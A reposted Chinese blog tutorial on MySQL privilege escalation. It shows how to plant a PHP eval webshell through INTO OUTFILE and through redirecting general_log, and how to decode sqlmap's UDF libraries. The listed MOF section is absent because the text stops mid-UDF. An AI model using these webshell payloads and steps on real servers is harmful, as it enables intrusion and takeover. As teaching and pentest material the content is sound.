本文整理自网络,侵删。
目录
- 一、写入Webshell
- into outfile 写shell
- 日志文件写shell
- 二、UDF提权
- 三、MOF提权
- 总结
一、写入Webshell
into outfile 写shell
前提条件:
1、知道网站物理路径
2、高权限数据库用户
3、load_file() 开启 即 secure_file_priv 无限制
4、网站路径有写入权限
首先基础语法查询是否 secure_file_priv 没有限制
show global variables like '%secure_file_priv%';
value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/var | 只允许在/var目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面的 SQL 语句来直接写 shell:
select '<?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';
查看目标路径下,已写入shell.php文件
上菜刀连接
日志文件写shell
前提条件:
1、Web 文件夹宽松权限可以写入
2、Windows 系统下
3、高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
查看日志目录
SHOW VARIABLES LIKE 'general%';
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
更改日志文件位置
set global general_log = "ON"; set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';
查看当前日志配置
目标目录下查看,写入了log.php文件
写入shellselect '<?php @eval($_POST[cmd]); ?>'上菜刀,连接
二、UDF提权
自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
动态链接库
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
sqlmap的UDF动态链接库文件位置
sqlmap根目录/data/udf/mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py ,
解码方法如下:
解码32位的windows动态链接库:
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
其他linux和windows动态链接库解码类似
或者直接使用metasploit自带的动态链接库,无需解码
Metasploit的UDF动态链接库文件位置
相关阅读 >>
更多相关阅读请进入《mysql》频道 >>

数据库系统概念 第6版
机械工业出版社
本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。
转载请注明出处:木庄网络博客 » Mysql提权的多种姿势汇总
相关推荐
评论
管理员已关闭评论功能...